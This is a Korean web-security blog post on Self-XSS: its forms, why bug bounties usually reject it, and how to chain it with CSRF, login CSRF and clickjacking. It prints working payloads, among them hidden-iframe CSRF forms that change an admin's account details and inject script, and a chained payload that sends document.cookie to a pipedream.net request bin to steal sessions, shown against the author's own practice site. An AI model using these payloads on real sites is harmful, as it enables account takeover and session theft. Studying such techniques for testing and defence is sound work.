본문 바로가기
정보보안(웹해킹)/XSS(Cross-Site Scripting)

Self-XSS (Self Cross-Site Scripting)

by 끊임없는정진 2023. 1. 3.

※ 영어 원문 영상을 참고하여, 오역이 있을 수도 있습니다. 지적 시 성실히 수정하도록 하겠습니다.

▶ SELF XSS?

전에 XSS에 관한 글을 포스팅하던 중, 구글 blogger 페이지에서 다음과 같은 경고가 console 창에서 뜨는 것을 발견했다. SELF XSS에 대해서 공부하는 계기가 됐고, 그에 관해서 글을 포스팅하고자 한다.

blogger.com 에서 콘솔창을 열면 뜨는 경고창

 

SELF XSS는 공격자가 피해자가 되는 유형의 XSS로써, 다른 유형의 XSS와는 다르다. 악의적인 행위자는 사용자를 속여 의도적으로 자바스크립트를 실행시켜야 한다. SELF XSS가 항상 영향력이 없다고 하지는 못하나, 누군가가 자바스크립트를 의도적으로 실행하게끔 만들기 위해서는 상대방을 속이는 많은 노력이 필요하다. 일반적인 XSS를 실행하면 사용하면 사용자를 속일 필요가 없다. 웹사이트를 탐색하는 정상적인 과정에서 접근할 수 있는 악의적인 링크를 방문하면 공격을 받기 때문이다. 반면, SELF XSS를 사용하면 실제로 피해자를 '사회공학적'으로 속여야한다. 따라서, Bug bounty 등에서는 일반적으로 Self-XSS에 대해서는 보상을 해주지 않는 경우가 많다.

 

▶ SELF XSS 의 유형

[1] Javascript console

지금 글을 읽고 있다면, 아주 간단한 실험을 할 수 있다. f12를 눌러 개발자도구를 열고 console 창에 alert(document.domain); 을 쳐보자. 경고창이 뜨는 건 쉽게 확인할 수 있다. 이렇게 띄운 알림 자체는 실제로 파급력있는 XSS임을 증명하는데 좋은 방법이 아니다. 생각해보자, 누군가에게 개발자도구를 열고 console창을 띄운 다음, Javascript코드를 입력하라고 설득하는게 과연 쉬운 방법일까? 이렇게 Javascript를 실행해서 정보를 탈취하는 것을 막을 수는 없지만, 이렇게까지 따라하게 만드는게 쉬운일이 아닐 것이다.

console창에서 띄운 alert창

 

유사한 예로 개발자도구에서 HTML 코드를 더블클릭해서 HTML을 수정하는 방법도 있다. 하지만 이는 html의 기능을 실행하는 브라우저의 기능이기도 하다. 따라서, 사용자가 스스로 코드를 수정하게끔 만드는 것은 '사회공학적'이라고 하는 것이 맞다.

html elements에서 onclick으로 img에 javascript 코드를 삽입한 모습

 

[2] Response Modification

개발자도구 HTML 편집과 같이 Burp Suite와 같은 프록시에서 응답을 조작하는 방법이 있다. 이는 실제로 보안 테스트에 유용하게 많이 쓰인다. 응답을 편집하는 많은 경우는 많은 경우에 실제로 영향을 미치지 않는다. Self-XSS가 이러한 방식으로 수행되려면 먼저 유효한 request를 보내고 Intercept로 붙잡아두고 XSS payload를 삽입해야 한다. response를 수정하는 것이 위험하다고 생각될 수는 있지만, 이러한 방식으로 response를 수정하게끔 만드려면, 상대가 프록시를 깔게끔 만들고, 내가 수행한 방법을 따라하게 만들어서 응답을 수정해야 한다. 이러한 방식은 상당히 고차원적 '사회공학기법'을 필요로 하고, 이렇게 사회공학기법을 수행하는 경우, 차라리 비밀번호를 사회공학기법으로 물어보는 것이 더 효과적일 수도 있다.

 

[3] Host Header 삽입

해당 방법은 request에서 특정 헤더를 타겟으로 XSS를 발생시킨다. 그러나 피해자가 Host Header를 변경하는 것은 프록시 없이는 불가능하다. 프록시 없이 Host Header를 변경할 수 있는 방법이 있긴 하지만(Web cache poisoning), 이는 매우 고차원적인 공격이고, 해당 사이트가 Web cache poisoning에 취약하다는 것도 발견해야 한다. 따라서, 일반적인 경우 Host Header 삽입으로 Self-XSS를 발생시키기 위해선, 피해자가 프록시를 깔고, 자기 스스로 payload를 입력하게끔 유도해야하므로, 이렇게 공격이 수행되는 경우는 거의 없다고 봐도 무방할 것이다.

 

[4] 의도된 Javascript 삽입

개발자와 같은 사용자가 자바스크립트를 작성할 수 있도록 허용하기를 원하는 경우가 있다. 특히 wysiwyg 편집기를 사용할 때 코드 편집기에서 임의의 자바스크립트를 작성하고 저장할 수 있다. 개발자는 이러한 스크립트를 사용해서 플러그인을 만들고 추적 스크립트를 삽입할 수도 있다. 그저 편집기로 이동하여 코드를 붙여넣기만 하면 된다. 하지만, 해당 공격이 유효하다고 할 수는 없는게, 공격자가 이러한 변경이 허용된 관리자가 된다면 이미 높은 수준의 액세스 권한을 가지고 있기 때문이다.

 

-> 결론 : SELF-XSS의 일반적인 경우에는 '사회공학'적 기법이 빡세게 필요하기 때문에, Bug bounty 등에서는 유효한 공격으로 쳐주지 않는다.

 

 

▶ SELF XSS 는 그럼 쓸모가 없을까?

해당 고민을 하고 SELF XSS에 관한 정보를 찾던 중, 평소 자주 참고하던 HAHWUL님의 포스팅에서 흥미로운 글을 발견했다. Self-xss를 다른 공격과 연계해서 유효한 공격으로 만드는 기법이다. XSS와 CSRF를 연계해서 POST요청을 보냈던 CSRF 탈취 payload를 읽고오면 해당 공격이 이해가 더 잘 될 것이다. CSRF, XSS를 연계하면 다음과 같은 것도 할 수 있겠구나! 라는 생각이 들 것이다.

 

[1] Technic1 : Self XSS + CSRF(Stored)

XSS&CSRF 연계공격으로 XSS payload를 사용자의 XSS취약점이 있는 myprofile 정보에 강제로 업데이트 시킨다. 그리고 상대를 myprofile에 redirect시키면 상대의 myprofile에 있는 정보를 탈취할 수 있다. Stored XSS 취약점이 발견된 페이지에 다음과 같이 payload를 넣고 저장한 뒤, admin id로 돌아와서 접속해보자.

 

stored XSS 취약점이 있는 공간에 myprofile에 XSS취약점이 있는 부분을 수정하는 XSS payload를 작성한다.

 

주소란에 alert(document.domain)을 띄우게끔 설정했더니, 수정 후 myprofile로 redirect해서 바로 띄우는 모습

 

작성한 payload는 다음과 같다. submit이 stack에 바로 처리되지 않았는지, 먼저 작성한 코드임에도 불구하고 lcoation.href가 먼저 실행돼서 location.href에는 sleep을 걸어준 payload이다.

1
2
3
4
5
6
7
8
9
10
<iframe id="csrf_frame" style="display:none" width="0" height="0" sandbox="allow-forms"></iframe>
<form action="./register_update.php" method="post" id="csrf" target="csrf_frame">
<input type="hidden" name="mode" value="modify">
<input type="hidden" name="jj_id" value="admin">
<input type="hidden" name="jj_password" value="@@@@@@@@@@@@@@@@@@@@@@">
<input type="hidden" name="jj_password_re" value="@@@@@@@@@@@@@@@@@@@@@@">
<input type="hidden" name="jj_name" value="관리자">
<input type="hidden" name="jj_address" value="&quot;><svg/onload=alert(document.domain)><&quot;"
</form>
<script>document.getElementById("csrf").submit();setTimeout(function(){location.href="./myprofile.php";},3000);</script>
cs

 

[2] Technic2 : Self XSS + Login CSRF

Login CSRF는 공격자의 ID/PW로 로그인하는 CSRF이다. 공격자의 계정으로 로그인해봤자 뭐가 이득일까 생각이 들겠지만, 로그인되어 있는 공격자의 계정으로 로그인했을 때 일부 서브 도메인은 피해자의 세션을 그때도 들고 있다고 한다. 이를 이용하면 피해자의 정보를 탈취할 수 있다는 것이다. 참고로 신뢰받는 서브 도메인이면 SOP정책이나 CSP정책이 약하다고 한다.

내가 만든 페이지에서 실습을 하기 위해서 다음과 같은 payload를 위와 같이 작성한다. 이번에는 공격자의 정보를 바꾸고 공격자 자신의 myprofile로 redirect하는 payload를 만든다. 로그인 페이지 대부분은 '비밀번호 확인란'도 가지고 있으므로, 위 공격보단 이번 공격이 오히려 유효한 취약점이 아닐까란 생각이 들었다.

회원정보수정 payload 

<iframe id="csrf_frame" style="display:none" width="0" height="0" sandbox="allow-forms"></iframe>

<form action="./register_update.php" method="post" id="csrf" target="csrf_frame">
<input type="hidden" name="mode" value="modify">
<input type="hidden" name="jj_id" value="guest">
<input type="hidden" name="jj_password" value="guest">
<input type="hidden" name="jj_password_re" value="guest">
<input type="hidden" name="jj_name" value="손님">
<input type="hidden" name="jj_address" value="손님&quot;><script>location.href=&quot;https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net&quot;+document.cookie;</script><">
</form>
<script>document.getElementById("csrf").submit();setTimeout(function(){location.href="./myprofile.php";},3000);</script>

 

그리고 XSS+CSRF를 연계해서 자기자신의 id로 login을 강제로 하는 payload를 작성한다. 

강제 로그인 payload 

<iframe id="csrf_frame" style="display:none" width="0" height="0" sandbox="allow-forms"></iframe>

<form action="./login_check1.php" method="post" id="csrf" target="csrf_frame">
<input type="hidden" name="jj_id" value="guest">
<input type="hidden" name="jj_password" value="guest">
<script>document.getElementById("csrf").submit();</script>

 

각 XSS+CSRF를 iframe안에 넣어서 티나지 않게 수행한 다음, 세션을 Request bin에 전송하는 payload를 구성하면 다음과 같다. 

연계 payload 

<iframe width="0" height="0" name="csrfframe" id="csrfframe" sandbox="allow-forms"></iframe>
<iframe width="0" height="0" name="csrfframe2" id="csrfframe2" sandbox="allow-forms"></iframe>

<form method="POST" id="csrfattack2" action="/register_update.php" target="csrfframe">
<input type="hidden" name="mode" value="modify">
<input type="hidden" name="jj_id" value="guest">
<input type="hidden" name="jj_password" value="guest">
<input type="hidden" name="jj_password_re" value="guest">
<input type="hidden" name="jj_name" value="손님">
<input type="hidden" name="jj_address" value="손님&quot;><script>location.href=&quot;https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net?&quot;+document.cookie;</script><">
</form>

<form method="POST" id="csrfattack" action="/login_check1.php" target="csrfframe2">
<input type="hidden" name="jj_id" value="guest">
<input type="hidden" name="jj_password" value="guest">
</form>

<script>document.getElementById("csrfattack").submit();document.getElementById("csrfattack2").submit();setTimeout(function(){location.href="/myprofile.php"},3000);</script>

 

이제 payload를 삽입하고 본 XSS공격을 수행할 수 있는지 확인한다. 확인을 위해서 'admin' 아이디로 접속 후, 세션정보가 전송되는지, 그리고 해당 세션정보는 누구의 것인지, 그리고 어떤 계정으로 로그인되어있는지를 전부 확인해본다. 일단 'guest'계정으로 payload를 삽입한다. 

guest 계정으로 삽입된 payload

 

그리고, admin계정으로 접속해서 게시글을 열람한 후, 어떤 반응이 나오는지 확인한다. 예상한대로 세션을 탈취한다.

세션탈취 화면

 

그리고 requestbin를 보면, 세션정보가 탈취되었음을 확인해볼 수가 있다.

request bin에 도착한 세션정보

 

이제 어떤 계정으로 로그인되어 있는지 새로고침으로 확인해본다.

현재 로그인은 GUEST 계정으로 뜨는 것을 확인해볼 수 있다.

 

그리고 탈취한 세션정보는 누구의 것인지 확인한다. 

해당 SESSION ID로 로그인하니, GUEST로 로그인 되는 것을 확인해볼 수 있다.

 

비록, 내가 실습한 페이지는 전부 다 같은 도메인이라 ADMIN -> GUEST의 SESSION으로 저장이 되고 있지만, 서브도메인 간에서는 쿠키를 탈취하면 피해자의 쿠키 정보를 탈취할 수 있을 것이다. 

 

[3] Technic3 : XSS Jacking (with Click jacking)

사용자가 스스로 공격코드를 붙여넣게 만드는 방법이라고 한다. 안먹힐법 하지만, 화면 구성을 잘하면 가능할수도 있다. 참고한 글에는 피해자에게 Captcha로 보이는 페이지를 주고 의도한 문자열을 복사하고 전송하게끔 만드는 식으로 공격을 수행했다. Captcha를 복사하는 순간 XSS코드가 삽입되며 취약페이지의 UI 구성으로 공격코드는 보이지 않는다고 한다. 해당 코드를 직접 붙여놓고 실습해봤다.

복사한 순간 payload가 변형된다.

  

복사한 순간 내가 복사한 Captcha는 변형되고, 붙여넣고 실행한 값은 alert(45)가 들어간 script가 된다. 이런 식으로도 스스로 XSS를 수행하게 만들수도 있다.

다만, 해당 방법은 iframe에 대한 보호 정책이 없거나 우회되어야 한다.

 

 

출처: https://bughunters.google.com/learn/invalid-reports/web-platform/xss/6496555932319744/do-it-yourself-xss

https://www.hahwul.com/2019/11/02/upgrade-self-xss-to-exploitable-xss/

댓글